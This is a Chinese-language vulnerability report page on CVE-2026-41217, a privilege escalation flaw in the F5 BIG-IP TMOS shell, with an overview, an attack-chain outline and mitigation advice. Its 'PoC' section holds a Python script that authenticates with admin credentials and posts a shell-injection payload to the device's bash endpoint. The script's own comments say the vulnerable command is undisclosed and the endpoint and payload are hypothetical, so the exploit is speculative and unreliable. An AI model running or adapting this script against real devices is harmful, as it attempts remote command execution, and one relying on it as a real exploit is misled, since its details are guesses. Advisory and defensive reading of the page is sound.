IPBUF安全漏洞报告
English
CVE-2026-41217 CVSS 7.9 高危

CVE-2026-41217 F5 BIG-IP TMOS Shell权限提升漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-41217
漏洞类型
权限提升
CVSS评分
7.9 高危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP

相关标签

权限提升RCEF5 BIG-IPtmshCVE-2026-41217

漏洞概述

F5 BIG-IP TMOS Shell (tmsh) 组件中存在一处安全漏洞,允许经过身份验证的攻击者利用未披露的命令进行权限提升。攻击者需具备资源管理员或管理员角色,通过构造恶意请求即可在系统中以更高权限执行任意命令。在设备模式下部署的系统受影响尤为严重,攻击者成功利用后可跨越安全边界,对系统机密性和完整性造成高风险威胁。

技术细节

该漏洞位于F5 BIG-IP设备的TMOS Shell (tmsh)组件中,源于某未披露命令对输入参数的过滤不严。攻击者需具备资源管理员或管理员角色的高权限身份方可发起攻击。利用时,攻击者通过构造特定的恶意参数注入到该tmsh命令中,触发命令解析逻辑缺陷,从而绕过权限检查,在底层操作系统上以高权限(如root)执行任意系统命令。鉴于CVSS向量中作用域为Changed (S:C),该漏洞在设备模式下部署时尤为危险,成功利用可导致攻击者跨越安全边界,完全控制设备并窃取或篡改敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取F5 BIG-IP设备的高级权限账号(管理员或资源管理员角色)。
STEP 2
步骤2
攻击者通过SSH或管理接口访问TMOS Shell (tmsh)。
STEP 3
步骤3
攻击者在未披露的特定tmsh命令中注入恶意参数,触发命令解析漏洞。
STEP 4
步骤4
漏洞被触发,攻击者以更高权限(如root)在底层操作系统执行任意命令。
STEP 5
步骤5
在设备模式下,攻击者跨越安全边界,完全控制设备并可能导致数据泄露或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-41217: F5 BIG-IP tmsh Privilege Escalation # This script is for educational purposes only. # Requires: Admin/Resource Admin credentials import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target, username, password, command): session = requests.Session() session.verify = False login_url = f"https://{target}/mgmt/shared/authn/login" # 1. Authenticate to BIG-IP auth_payload = { "username": username, "password": password, "loginProviderName": "tmos" } try: resp = session.post(login_url, json=auth_payload) if resp.status_code != 200: print("[!] Login failed") return token = resp.json().get('token', {}).get('token') except Exception as e: print(f"[!] Error during login: {e}") return # 2. Send malicious tmsh command via REST API or utilize the CLI vulnerability # Note: The specific vulnerable tmsh command is undisclosed. # This example simulates the structure of a command injection in tmsh. headers = { "X-F5-Auth-Token": token, "Content-Type": "application/json" } # Hypothetical endpoint to execute tmsh commands # The payload injects a shell escape to run the command payload = { "command": f"vuln_tmosh_cmd '{{ | run /util bash -c \"{command}\" }}'" } exploit_url = f"https://{target}/mgmt/tm/util/bash" print(f"[*] Executing command: {command}") try: # In a real scenario, the endpoint and payload structure depend on the undisclosed command resp = session.post(exploit_url, json=payload, headers=headers) if resp.status_code == 200: print("[+] Command execution likely successful.") print(resp.text) else: print(f"[!] Exploit failed with status {resp.status_code}") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": # Replace with actual target details exploit("192.168.1.1", "admin", "admin", "id")

影响范围

请参阅 F5 安全公告 K000161107

防御指南

临时缓解措施
建议立即应用F5官方提供的补丁或升级到不受影响的版本。如果无法立即升级,请严格限制具有资源管理员或管理员角色的账户数量,并审查设备日志以检测是否有异常的tmsh命令执行记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表